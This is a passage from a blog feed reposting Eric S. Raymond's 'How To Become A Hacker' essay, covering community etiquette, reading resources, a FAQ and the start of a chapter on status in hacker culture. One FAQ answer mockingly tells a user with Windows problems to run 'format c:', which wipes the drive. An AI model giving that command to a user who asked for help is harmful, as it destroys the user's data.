<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Don&#8217;t get in flame wars on Usenet (or anywhere else).</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Don&#8217;t call yourself a ‘cyberpunk’, and don&#8217;t waste your time on anybody who does.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Don&#8217;t post or email writing that&#8217;s full of spelling errors and bad grammar.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">The only reputation you&#8217;ll make doing any of these things is as a twit. Hackers have long memories — it could take you years to live your early blunders down enough to be accepted.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don&#8217;t do this; they&#8217;re proud of what they do and want it associated with their <i>real</i> names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser.</span><span style=""><o:p></o:p></span></p>
<p><b><span style="" lang="EN">Other Resources</span><o:p></o:p></b></p>
<p><span style="" lang="EN">Paul Graham has written an essay called <a href="http://www.paulgraham.com/gh.html" target="_top">Great Hackers</a>, and another on <a href="http://www.paulgraham.com/college.html" target="_top">Undergraduation</a>, in which he speaks much wisdom.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">There is a document called <a href="http://samizdat.mines.edu/howto/HowToBeAProgrammer.html" target="_top">How To Be A Programmer</a> that is an excellent complement to this one. It has valuable advice not just about coding and skillsets, but about how to function on a programming team.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">I have also written <a href="http://catb.org/%7Eesr/writings/hacker-history/hacker-history.html" target="_top"><i>A Brief History Of Hackerdom</i></a>.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">I have written a paper, <a href="http://catb.org/%7Eesr/writings/cathedral-bazaar/index.html" target="_top"><i>The Cathedral and the Bazaar</i></a>, which explains a lot about how the Linux and open-source cultures work. I have addressed this topic even more directly in its sequel <a href="http://catb.org/%7Eesr/writings/homesteading/" target="_top"><i>Homesteading the Noosphere</i></a>.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">Rick Moen has written an excellent document on <a href="http://linuxmafia.com/faq/Linux_PR/newlug.html" target="_top">how to run a Linux user group</a>.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">Rick Moen and I have collaborated on another document on <a href="http://catb.org/%7Eesr/faqs/smart-questions.html" target="_top">How To Ask Smart Questions</a>. This will help you seek assistance in a way that makes it more likely that you will actually get it.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">If you need instruction in the basics of how personal computers, Unix, and the Internet work, see <a href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/" target="_top">The Unix and Internet Fundamentals HOWTO</a>. </span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">When you release software or write patches for software, try to follow the guidelines in the <a href="http://en.tldp.org/HOWTO/Software-Release-Practice-HOWTO/index.html" target="_top">Software Release Practice HOWTO</a>.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">If you enjoyed the Zen poem, you might also like <a href="http://catb.org/%7Eesr/writings/unix-koans" target="_top">Rootless Root: The Unix Koans of Master Foo</a>.</span><span style=""><o:p></o:p></span></p>
<p><b>Frequently Asked Questions</b></p>
<p>Q:Which are the best hacking tools?</p>
<p>A:<a href="http://www.google.com">Google</a>,<a href="http://www.wikipedia.org">Wiki</a> and your brain.<br /><b><o:p></o:p></b></p>
<table class="MsoNormalTable" style="" border="0" cellpadding="0">
<tbody>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How do I tell if I am already a   hacker?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Ask yourself the following three   questions:<o:p></o:p></span></p>
<p><span style="">· Do you speak code, fluently?<o:p></o:p></span></p>
<p><span style="">· Do you identify with the goals   and values of the hacker community?<o:p></o:p></span></p>
<p><span style="">· Has a well-established member of   the hacker community ever called you a hacker?<o:p></o:p></span></p>
<p><span style="">If you can answer yes to <i>all   three</i> of these questions, you are already a hacker. No two alone are   sufficient.<o:p></o:p></span></p>
<p><span style="">The first test is about skills.   You probably pass it if you have the minimum technical skills described   earlier in this document. You blow right through it if you have had a   substantial amount of code accepted by an open-source development project.<o:p></o:p></span></p>
<p><span style="">The second test is about attitude.   If the <a href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude" title="The Hacker Attitude">five principles of the hacker mindset</a> seemed   obvious to you, more like a description of the way you already live than   anything novel, you are already halfway to passing it. That&#8217;s the inward   half; the other, outward half is the degree to which you identify with the   hacker community&#8217;s long-term projects.<o:p></o:p></span></p>
<p><span style="">Here is an incomplete but   indicative list of some of those projects: Does it matter to you that Linux   improve and spread? Are you passionate about software freedom? Hostile to monopolies?   Do you act on the belief that computers can be instruments of empowerment   that make the world a richer and more humane place?<o:p></o:p></span></p>
<p><span style="">But a note of caution is in order   here. The hacker community has some specific, primarily defensive political   interests — two of them are defending free-speech rights and fending off   &#8220;intellectual-property&#8221; power grabs that would make open source   illegal. Some of those long-term projects are civil-liberties organizations   like the Electronic Frontier Foundation, and the outward attitude properly   includes support of them. But beyond that, most hackers view attempts to   systematize the hacker attitude into an explicit political program with   suspicion; we&#8217;ve learned, the hard way, that these attempts are divisive and   distracting. If someone tries to recruit you to march on your capitol in the   name of the hacker attitude, they&#8217;ve missed the point. The right response is   probably “Shut up and show them the code.”<o:p></o:p></span></p>
<p><span style="">The third test has a tricky   element of recursiveness about it. I observed in <a href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is" title="What Is a Hacker?">the section called “What Is a Hacker?”</a> that   being a hacker is partly a matter of belonging to a particular subculture or   social network with a shared history, an inside and an outside. In the far   past, hackers were a much less cohesive and self-aware group than they are   today. But the importance of the social-network aspect has increased over the   last thirty years as the Internet has made connections with the core of the   hacker subculture easier to develop and maintain. One easy behavioral index   of the change is that, in this century, we have our own T-shirts.<o:p></o:p></span></p>
<p><span style="">Sociologists, who study networks   like those of the hacker culture under the general rubric of &#8220;invisible   colleges&#8221;, have noted that one characteristic of such networks is that   they have gatekeepers — core members with the social authority to endorse new   members into the network. Because the &#8220;invisible college&#8221; that is   hacker culture is a loose and informal one, the role of gatekeeper is   informal too. But one thing that all hackers understand in their bones is   that not every hacker is a gatekeeper. Gatekeepers have to have a certain   degree of seniority and accomplishment before they can bestow the title. How   much is hard to quantify, but every hacker knows it when they see it.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Will you teach me how to hack?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Since first publishing this page,   I&#8217;ve gotten several requests a week (often several a day) from people to   &#8220;teach me all about hacking&#8221;. Unfortunately, I don&#8217;t have the time   or energy to do this; my own hacking projects, and working as an open-source   advocate, take up 110% of my time.<o:p></o:p></span></p>
<p><span style="">Even if I did, hacking is an   attitude and skill you basically have to teach yourself. You&#8217;ll find that   while real hackers want to help you, they won&#8217;t respect you if you beg to be   spoon-fed everything they know.<o:p></o:p></span></p>
<p><span style="">Learn a few things first. Show   that you&#8217;re trying, that you&#8217;re capable of learning on your own. Then go to   the hackers you meet with specific questions.<o:p></o:p></span></p>
<p><span style="">If you do email a hacker asking   for advice, here are two things to know up front. First, we&#8217;ve found that   people who are lazy or careless in their writing are usually too lazy and   careless in their thinking to make good hackers — so take care to spell   correctly, and use good grammar and punctuation, otherwise you&#8217;ll probably be   ignored. Secondly, don&#8217;t <i>dare</i> ask for a reply to an ISP account that&#8217;s   different from the account you&#8217;re sending from; we find people who do that   are usually thieves using stolen accounts, and we have no interest in   rewarding or assisting thievery.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How can I get started, then?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">The best way for you to get   started would probably be to go to a LUG (Linux user group) meeting. You can   find such groups on the <a href="http://www.tldp.org/links/index.html" target="_top">LDP General Linux Information Page</a>; there is probably one   near you, possibly associated with a college or university. LUG members will   probably give you a Linux if you ask, and will certainly help you install one   and get started.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">When do you have to start? Is it   too late for me to learn?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Any age at which you are motivated   to start is a good age. Most people seem to get interested between ages 15   and 20, but I know of exceptions in both directions.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How long will it take me to learn   to hack?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">That depends on how talented you   are and how hard you work at it. Most people who try can acquire a respectable   skill set in eighteen months to two years, if they concentrate. Don&#8217;t think   it ends there, though; in hacking (as in many other fields) it takes about   ten years to achieve mastery. And if you are a real hacker, you will spend   the rest of your life learning and perfecting your craft.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Is Visual Basic a good language to   start with?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">If you&#8217;re asking this question, it   almost certainly means you&#8217;re thinking about trying to hack under Microsoft   Windows. This is a bad idea in itself. When I compared trying to learn to   hack under Windows to trying to learn to dance while wearing a body cast, I   wasn&#8217;t kidding. Don&#8217;t go there. It&#8217;s ugly, and it never stops being ugly.<o:p></o:p></span></p>
<p><span style="">There is a specific problem with   Visual Basic; mainly that it&#8217;s not portable. Though there is a prototype   open-source implementations of Visual Basic, the applicable ECMA standards   don&#8217;t cover more than a small set of its programming interfaces. On Windows   most of its library support is proprietary to a single vendor (Microsoft); if   you aren&#8217;t <i>extremely</i> careful about which features you use — more   careful than any newbie is really capable of being — you&#8217;ll end up locked   into only those platforms Microsoft chooses to support. If you&#8217;re starting on   a Unix, much better languages with better libraries are available. Python,   for example.<o:p></o:p></span></p>
<p><span style="">Also, like other Basics, Visual   Basic is a poorly-designed language that will teach you bad programming   habits. No, <i>don&#8217;t</i> ask me to describe them in detail; that explanation   would fill a book. Learn a well-designed language instead.<o:p></o:p></span></p>
<p><span style="">One of those bad habits is   becoming dependent on a single vendor&#8217;s libraries, widgets, and development   tools. In general, any language that isn&#8217;t fully supported under at least   Linux or one of the BSDs, and/or at least three different vendors&#8217; operating   systems, is a poor one to learn to hack in.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Would you help me to crack a   system, or teach me how to crack?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">No. Anyone who can still ask such   a question after reading this FAQ is too stupid to be educable even if I had   the time for tutoring. Any emailed requests of this kind that I get will be   ignored or answered with extreme rudeness.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How can I get the password for   someone else&#8217;s account?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">This is cracking. Go away, idiot.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How can I break into/read/monitor   someone else&#8217;s email?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">This is cracking. Get lost, moron.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">How can I steal channel op   privileges on IRC?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">This is cracking. Begone, cretin.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">I&#8217;ve been cracked. Will you help   me fend off further attacks?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">No. Every time I&#8217;ve been asked   this question so far, it&#8217;s been from some poor sap running Microsoft Windows.   It is not possible to effectively secure Windows systems against crack attacks;   the code and architecture simply have too many flaws, which makes securing   Windows like trying to bail out a boat with a sieve. The only reliable   prevention starts with switching to Linux or some other operating system that   is designed to at least be capable of security.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">I&#8217;m having problems with my   Windows software. Will you help me?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Yes. Go to a DOS prompt and type   &#8220;format c:&#8221;. Any problems you are experiencing will cease within a   few minutes.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Where can I find some real hackers   to talk with?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">The best way is to find a Unix or   Linux user&#8217;s group local to you and go to their meetings (you can find links   to several lists of user groups on the <a href="http://www.tldp.org/" target="_top">LDP</a> site at ibiblio).<o:p></o:p></span></p>
<p><span style="">(I used to say here that you   wouldn&#8217;t find any real hackers on IRC, but I&#8217;m given to understand this is   changing. Apparently some real hacker communities, attached to things like   GIMP and Perl, have IRC channels now.)</span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Can you recommend useful books   about hacking-related subjects?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">I maintain a <a style="border-bottom-style: groove;" href="http://en.tldp.org/HOWTO/Reading-List-HOWTO/index.html" target="_top">Linux   Reading List HOWTO</a> that you may find helpful. The <a style="border-bottom-style: groove;" href="http://www.catb.org/%7Eesr/faqs/loginataka.html" target="_top">Loginataka</a>   may also be interesting.<o:p></o:p></span></p>
<p><span style="">For an introduction to Python, see   the <a href="http://www.python.org/doc/Intros.html" target="_top">introductory   materials</a> on the Python site.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Do I need to be good at math to   become a hacker?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">No. Hacking uses very little   formal mathematics or arithmetic. In particular, you won&#8217;t usually need   trigonometry, calculus or analysis (there are exceptions to this in a handful   of specific application areas like 3-D computer graphics). Knowing some   formal logic and Boolean algebra is good. Some grounding in finite   mathematics (including finite-set theory, combinatorics, and graph theory)   can be helpful.<o:p></o:p></span></p>
<p><span style="">Much more importantly: you need to   be able to think logically and follow chains of exact reasoning, the way   mathematicians do. While the content of most mathematics won&#8217;t help you, you   will need the discipline and intelligence to handle mathematics. If you lack   the intelligence, there is little hope for you as a hacker; if you lack the   discipline, you&#8217;d better grow it.<o:p></o:p></span></p>
<p><span style="">I think a good way to find out if   you have what it takes is to pick up a copy of Raymond Smullyan&#8217;s book <i>What   Is The Name Of This Book?</i>. Smullyan&#8217;s playful logical conundrums are very   much in the hacker spirit. Being able to solve them is a good sign; <i>enjoying</i>   solving them is an even better one.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">What language should I learn first?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">XHTML (the latest dialect of HTML)   if you don&#8217;t already know it. There are a lot of glossy, hype-intensive <i>bad</i>   HTML books out there, and distressingly few good ones. The one I like best is   <a href="http://www.oreilly.com/catalog/html5/" target="_top"><i>HTML: The   Definitive Guide</i></a>.<o:p></o:p></span></p>
<p><span style="">But HTML is not a full programming   language. When you&#8217;re ready to start programming, I would recommend starting   with <a href="http://www.python.org/" target="_top">Python</a>. You will hear   a lot of people recommending Perl, and Perl is still more popular than   Python, but it&#8217;s harder to learn and (in my opinion) less well designed.<o:p></o:p></span></p>
<p><span style="">C is really important, but it&#8217;s   also much more difficult than either Python or Perl. Don&#8217;t try to learn it   first.<o:p></o:p></span></p>
<p><span style="">Windows users, do <i>not</i>   settle for Visual Basic. It will teach you bad habits, and it&#8217;s not portable   off Windows. Avoid.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">What kind of hardware do I need?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">It used to be that personal   computers were rather underpowered and memory-poor, enough so that they   placed artificial limits on a hacker&#8217;s learning process. This stopped being   true in the mid-1990s; any machine from an Intel 486DX50 up is more than   powerful enough for development work, X, and Internet communications, and the   smallest disks you can buy today are plenty big enough.<o:p></o:p></span></p>
<p><span style="">The important thing in choosing a   machine on which to learn is whether its hardware is Linux-compatible (or   BSD-compatible, should you choose to go that route). Again, this will be true   for almost all modern machines. The only really sticky areas are modems and   wireless cards; some machines have Windows-specific hardware that won&#8217;t work   with Linux.<o:p></o:p></span></p>
<p><span style="">There&#8217;s a FAQ on hardware   compatibility; the latest version is <a href="http://en.tldp.org/HOWTO/Hardware-HOWTO/index.html" target="_top">here</a>.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">I want to contribute. Can you help   me pick a problem to work on?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">No, because I don&#8217;t know your   talents or interests. You have to be self-motivated or you won&#8217;t stick, which   is why having other people choose your direction almost never works.<o:p></o:p></span></p>
<p><span style="">Try this. Watch the project   announcements scroll by on <a href="http://freshmeat.net/" target="_top">Freshmeat</a>   for a few days. When you see one that makes you think &#8220;Cool! I&#8217;d like to   work on that!&#8221;, join it.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Do I need to hate and bash   Microsoft?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">No, you don&#8217;t. Not that Microsoft   isn&#8217;t loathsome, but there was a hacker culture long before Microsoft and   there will still be one long after Microsoft is history. Any energy you spend   hating Microsoft would be better spent on loving your craft. Write good code   — that will bash Microsoft quite sufficiently without polluting your karma.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">But won&#8217;t open-source software   leave programmers unable to make a living?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">This seems unlikely — so far, the   open-source software industry seems to be creating jobs rather than taking   them away. If having a program written is a net economic gain over not having   it written, a programmer will get paid whether or not the program is going to   be open-source after it&#8217;s done. And, no matter how much &#8220;free&#8221;   software gets written, there always seems to be more demand for new and   customized applications. I&#8217;ve written more about this at the <a style="border-bottom-style: groove;" href="http://www.opensource.org/" target="_top">Open Source</a> pages.<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Q:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">Where can I get a free Unix?<o:p></o:p></span></p>
</td>
</tr>
<tr style="">
<td style="padding: 0.75pt;" valign="top">
<p><span style="">A:<o:p></o:p></span></p>
</td>
<td style="padding: 0.75pt;" valign="top">
<p><span style="">If you don&#8217;t have a Unix installed   on your machine yet, elsewhere on this page I include pointers to where to   get the most commonly used free Unix. To be a hacker you need motivation and   initiative and the ability to educate yourself. Start now&#8230;<o:p></o:p></span></p>
<p><span style=""><br /><!--[if !supportLineBreakNewLine]--> <!--[endif]--></span></p>
</td>
</tr>
</tbody>
</table>
<p><b>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-thread ends&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</b></p>
<p><b><a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html">chapter-1</a><br /><a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html">chapter-2</a><br /><a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html">chapter-3</a><br /><a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html">chapter-4</a></p>
<p>source:Article written by Sir ESR</b></p>
<p><b><br /></b></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to become a hacker-ch 3</title>
		<link>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-3/</link>
		<comments>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-3/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 19:21:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[info]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=22</guid>
		<description><![CDATA[Chapter-3
  
Table of Contents

Status in the Hacker Culture
1. Write open-source software
2. Help test and debug open-source software
3. Publish useful information
4. Help keep the infrastructure working
5. Serve the hacker culture itself
Like most cultures without a money economy, hackerdom runs on reputation. You&#8217;re trying to solve interesting problems, but how interesting they are, and whether your [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);">Chapter-3</span>
<p class="MsoNormal"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_What_Is_a_Hacker?">  </a></p>
<p class="MsoNormal"><b>Table of Contents</b></p>
<p class="MsoNormal">
<p><b><span style="" lang="EN">Status in the Hacker Culture</p>
<p></span></b><span style="" lang="EN">1. Write open-source software</p>
<p>2. Help test and debug open-source software</p>
<p>3. Publish useful information</p>
<p>4. Help keep the infrastructure working</p>
<p>5. Serve the hacker culture itself</span><b><span style="" lang="EN"></p>
<p></span></b><span style="" lang="EN">Like most cultures without a money economy, hackerdom runs on reputation. You&#8217;re trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.<o:p></o:p></span><br /> 
<p class="MsoNormal"><span style="" lang="EN">Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren&#8217;t really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one&#8217;s motivation at all.<o:p></o:p></span></p>
<p> <span class="fullpost">
<p class="MsoNormal"><span style="" lang="EN">Specifically, hackerdom is what anthropologists call a <i>gift culture</i>. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">There are basically five kinds of things you can do to be respected by hackers:<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_1._Write_open-source_software"></a><b><span style="" lang="EN">1. Write open-source software<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">(We used to call these works “free software”, but this confused too many people who weren&#8217;t sure exactly what “free” was supposed to mean. Most of us now prefer the term “<a href="http://www.opensource.org/" target="_top">open-source</a>” software).<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Hackerdom&#8217;s most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">But there&#8217;s a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community&#8217;s hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, &#8220;the hacker community&#8221; and &#8220;open-source developers&#8221; are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_2._Help_test_and debug open-source "></a><b><span style="" lang="EN">2. Help test and debug open-source software<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That&#8217;s why any open-source author who&#8217;s thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that&#8217;s a protracted, exhausting nightmare and one that&#8217;s merely a salutary nuisance.<o:p></o:p></span></p>
